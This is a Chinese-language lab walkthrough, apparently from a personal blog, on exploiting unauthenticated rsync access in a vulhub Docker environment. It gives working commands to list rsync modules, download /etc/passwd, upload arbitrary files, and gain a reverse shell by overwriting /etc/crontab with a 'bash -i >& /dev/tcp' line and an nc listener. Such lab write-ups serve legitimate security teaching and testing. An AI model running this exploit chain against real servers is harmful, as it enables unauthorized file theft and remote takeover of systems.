rsync未授权访问漏洞利用
关于rsync服务未授权漏洞的几种利用方式~~
00x0 前言
环境:
Ubuntu:192.168.25.129(靶机)
kali:192.168.25.128(攻击机)
在Ubuntu上启动rsync的docker环境:
进入环境:cd vulhub/rsync/common
自动编译环境:sudo docker-compose build
启动整个环境:sudo docker-compose up -d
最后实验完成时删除整个环境:sudo docker-compose down -v
00x1 漏洞介绍
rsync是Linux下一款数据备份工具,支持通过rsync协议、ssh协议进行远程文件传输。其中rsync协议默认监听873端口,如果目标开启了rsync服务,并且没有配置ACL或访问密码,我们将可以读写目标服务器文件。
00x2 常用命令
(1)查看服务器目录
1 | rsync ip:: (rsync默认端口873) |
(2)查看服务器目录下的文件
1 | rsync ip::目录名 |
(3)上传文件
1 | rsync -av <需要上传的文件> ip::上传文件路径 |
(4)下载文件
1 | rsync -av ip::下载文件路径 <下载文件存放的路径> |
00x3 漏洞验证
1、在kali上扫描靶机端口,可以看到873端口开放
1 | nmap -sS 192.158.25.129 |

2、查看目录,若能查看到目录,则说明漏洞存在
1 | rsync 192.168.25.129:: |

3、查看目录下的文件
1 | rsync 192.168.25.129::src |

00x4 漏洞利用——任意文件下载
1、下载目标靶机的任意文件,这里下载etc/passwd文件
1 | rsync -av 192.168.25.129::src/etc/passwd /tmp |

2、查看下载的文件
1 | cat /tmp/passwd |

00x5 漏洞利用——任意文件上传
1、上传任意文件到目标靶机
1 | rsync -av /home/kali/a.txt 192.168.25.129::src/tmp/a.txt |

2、查看是否上传成功
1 | rsync 192.168.25.129::src/tmp/ |

00x6 漏洞利用——利用计划任务反弹shell
方法一:
整体思路:
(1)下载靶机的系统计划任务文件(目录为/etc/crontab)
(2)修改下载好的计划任务文件,将命令写入其中
(3)开启监听端口
(4)将修改好的计划任务crontab文件传回到靶机
1、下载Ubuntu靶机的系统计划任务文件到kali的root目录下
1 | rsync -av 192.168.25.129::src/etc/crontab /root |

2、在下载好的crontab中写入计划任务
1 | */1 * * * * root bash -c "bash -i >& /dev/tcp/192.168.25.128/11111 0>&1" |

3、在kali上开启监听端口
1 | nc -lvnp 11111 |
4、将修改好的crontab文件传回到靶机系统计划任务目录/etc/crontab中
1 | rsync -av crontab 192.168.25.129::src/etc/crontab |

5、反弹shell成功

方法二:
利用方法一就好了,方法二跟方法一差不多,就是将反弹命令写入到sh文件了。
整体思路:
(1)创建一个sh文件,写入反弹shell命令并赋予执行权限
(2)将sh文件上传到靶机
(3)下载靶机的系统计划任务文件(目录为/etc/crontab)
(4)修改下载好的计划任务文件,将命令写入其中
(5)开启监听端口
(6)将修改好的计划任务crontab文件传回到靶机
1、新建一个文件111.sh写入反弹shell命令
1 | bash -c "bash -i >& /dev/tcp/192.168.25.128/9999 0>&1" |

2、赋予执行权限
1 | chmod +x 111l.sh |

3、将反弹shell文件上传到攻击者目录下
1 | rsync -av 111.sh 192.168.25.129::src/tmp/111.sh |

4、查看是否上传成功
1 | rsync 192.168.25.129::src/tmp/ |

5、下载对方定时任务文件crontab到/root目录下
1 | rsync -av 192.168.25.129::src/etc/crontab /root |

6、在crontab文件末尾写入命令
1 | */1 * * * * root /tmp/111.sh |
保存并退出

7、设置监听端口
在kali上另外开一个命令行窗口,监听9999端口:nc -lvnp 9999

8、将crontab文件上传到目标靶机
1 | rsync -av crontab 192.168.25.129::src/etc/crontab |

9、在监听端口处可以看到成功获得反弹shell

本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 echozt!